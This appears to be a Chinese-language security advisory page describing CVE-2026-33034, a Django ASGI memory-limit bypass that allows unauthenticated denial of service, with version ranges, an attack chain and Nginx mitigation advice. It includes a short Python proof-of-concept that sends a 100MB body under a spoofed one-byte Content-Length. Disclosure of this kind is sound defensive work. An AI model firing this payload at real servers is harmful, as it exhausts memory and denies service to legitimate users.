IPBUF安全漏洞报告
English
CVE-2026-33034 CVSS 7.5 高危

CVE-2026-33034 Django ASGI内存限制绕过漏洞

披露日期: 2026-04-07
来源: 6a34fbeb-21d4-45e7-8e0a-62b95bc12c92

漏洞信息

漏洞编号
CVE-2026-33034
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Django

相关标签

拒绝服务DjangoASGIDoS内存耗尽CVE-2026-33034

漏洞概述

Django在处理ASGI请求时存在安全漏洞,攻击者可以通过发送缺失或低报`Content-Length`头部的请求,绕过`DATA_UPLOAD_MAX_MEMORY_SIZE`配置限制。这使得远程攻击者能够将不受限制的请求主体加载到服务器内存中,导致资源耗尽并引发拒绝服务。该问题影响了Django 6.0、5.2和4.2的特定早期版本。

技术细节

该漏洞源于Django ASGI处理请求体时的逻辑缺陷。在ASGI规范下,Django通常依赖`Content-Length`请求头来预判请求体大小,以强制执行`DATA_UPLOAD_MAX_MEMORY_SIZE`的安全限制,防止内存耗尽攻击。然而,当攻击者发送精心构造的ASGI请求,故意省略`Content-Length`或将其设置为一个较小的值,但实际传输的数据流非常大时,Django在读取`HttpRequest.body`时未能正确校验实际接收的数据量。由于ASGI是异步流式处理,这种校验缺失导致数据持续读入内存,直到内存耗尽或连接断开。这直接绕过了内存保护机制,无需认证即可利用,严重影响系统可用性。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是受影响版本的Django(4.2 < 4.2.30, 5.2 < 5.2.13, 6.0 < 6.0.4)且部署了ASGI服务器(如Daphne, Uvicorn)。
STEP 2
漏洞利用
攻击者向目标服务器发送特制的HTTP/ASGI请求,该请求的`Content-Length`头部被设置为很小的值(或缺失),但实际传输了巨大的数据体。
STEP 3
内存耗尽
Django在处理请求时,因信任错误的长度信息而绕过了内存大小检查,持续将接收到的数据读入内存,导致服务器内存耗尽。
STEP 4
拒绝服务
服务器因内存不足变得无响应或崩溃,导致合法用户无法访问服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import httpx # PoC for CVE-2026-33034 # This script attempts to send a request with a spoofed Content-Length header # to bypass Django's DATA_UPLOAD_MAX_MEMORY_SIZE check. def trigger_dos(url): # Generate a large payload (e.g., 100MB) payload = b"A" * (100 * 1024 * 1024) # Headers: Claim content length is very small (e.g., 1 byte) # but send the actual large payload. headers = { "Content-Type": "application/octet-stream", "Content-Length": "1" } try: with httpx.Client() as client: print(f"Sending malicious request to {url}...") # Note: Depending on the ASGI server and proxy in front, # standard HTTP clients might reset the connection due to framing issues. # This demonstrates the logic of the exploit: mismatched header vs body. response = client.post(url, content=payload, headers=headers, timeout=30) print(f"Response status: {response.status_code}") except Exception as e: print(f"Request failed (expected if connection reset or server crashed): {e}") if __name__ == "__main__": target_url = "http://target-django-server/upload" trigger_dos(target_url)

影响范围

Django 6.0 < 6.0.4
Django 5.2 < 5.2.13
Django 4.2 < 4.2.30
Django 5.0.x (可能受影响)
Django 4.1.x (可能受影响)
Django 3.2.x (可能受影响)

防御指南

临时缓解措施
在无法立即修补代码的情况下,建议在Django应用前置的反向代理服务器(如Nginx、Apache)上实施严格的请求体大小限制。例如,在Nginx中配置`client_max_body_size`指令,确保在流量到达Django应用层之前拦截异常的大数据包。此外,应限制对ASGI端点的直接访问,并加强服务器资源监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表